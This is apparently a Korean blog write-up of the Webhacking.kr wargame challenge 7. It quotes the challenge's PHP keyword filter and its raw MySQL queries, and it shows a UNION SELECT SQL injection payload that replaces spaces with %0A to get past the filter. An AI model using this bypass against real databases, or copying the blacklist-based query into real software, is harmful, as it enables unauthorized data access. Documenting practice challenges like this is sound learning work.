본문 바로가기
Wargame(CTF)

Webhacking.kr 7번

by Hide­ 2014. 4. 13.
반응형

Auth 를 누르니 Access_Denied! 라고 뜬다. 소스를 확인해보았다.

<!-- admin mode : val=2 -->

<!--

index.phps

-->

val이 2가 되어야 조건에 만족하나보다. phps 로 들어가여 소스를 확인해보았다.

 

<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->

union 이라는 힌트를 얻었다.

 

if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

상당히 많은 부분을 필터링 해놨다.

 

해당 소스를 통하여 쿼리문을 추측해보면

union select (3-1 정도로 추측할 수 있다. 하지만 공백을 필터링하므로 인코딩값인 %0A를 통하여 넣어줬다.

union%0Aselect%0A(3-1

좋은 시도라고 한다. val 값에 아무런 값이 없어서 그런것같다.

0)%0Aunion%0Aselect%0A(3-1 을 넣어줬다. 여전히 좋은시도라고 나온다.

소스를 더 보던중

if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!"
);
}

if(
$rand==2
)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!"
);
}

if(
$rand==3
)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!"
);
}

if(
$rand==4
)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!"
);
}

if(
$rand==5
)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!"
);
}

이런부분을 발견하고 F5를 3번정도 누르니 문제가 풀렸다.

'Wargame(CTF)' 카테고리의 다른 글

[Suninatas] Level 1  (0) 2014.05.12
국내 워게임 사이트  (0) 2014.05.04
Webhacking.kr 5번  (0) 2014.04.13
Webhacking.kr 4번  (0) 2014.04.13
Webhacking.kr 3번  (0) 2014.04.12